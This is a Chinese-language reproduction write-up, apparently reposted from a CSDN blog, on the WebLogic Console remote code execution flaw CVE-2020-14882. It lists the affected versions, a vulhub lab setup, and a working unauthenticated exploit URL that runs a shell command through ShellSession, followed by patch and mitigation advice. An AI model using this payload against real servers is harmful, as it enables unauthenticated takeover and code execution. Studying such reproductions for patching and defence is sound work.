Weblogic Console远程代码执行漏洞(CVE-2020-14882)
作者:互联网
目录
一 、漏洞描述
WebLogic远程代码执行漏洞(漏洞编号:CVE-2020-14882)的补丁存在绕过风险,远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。
二 、影响版本
Oracle WeblogicServer 10.3.6.0.0
Oracle WeblogicServer 12.1.3.0.0
Oracle WeblogicServer 12.2.1.3.0
Oracle WeblogicServer 12.2.1.4.0
Oracle WeblogicServer 14.1.1.0.0
三 、漏洞利用
环境搭建
操作系统:Ubuntu 20.04.2 LTS
此处利用vulhub的环境进行复现,开启docker-compose环境:docker-compose up -d
漏洞复现
1. 访问漏洞环境:http://your-ip:7001/console/login/LoginForm.jsp
2. 根据不同需求进行Pyload构造。此处是通过在/tmp目录创建111.txt进行验证:
执行Pyload:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/111.txt%27);%22)
3. 复现成功,效果如下:
四 、漏洞修复
目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。
临时修补建议
暂时对外关闭后台 /console/console.portal
的访问权限。
标签:WeblogicServer,Console,14882,补丁,漏洞,代码执行,Oracle,console,复现 来源: https://blog.csdn.net/weixin_42181573/article/details/117526222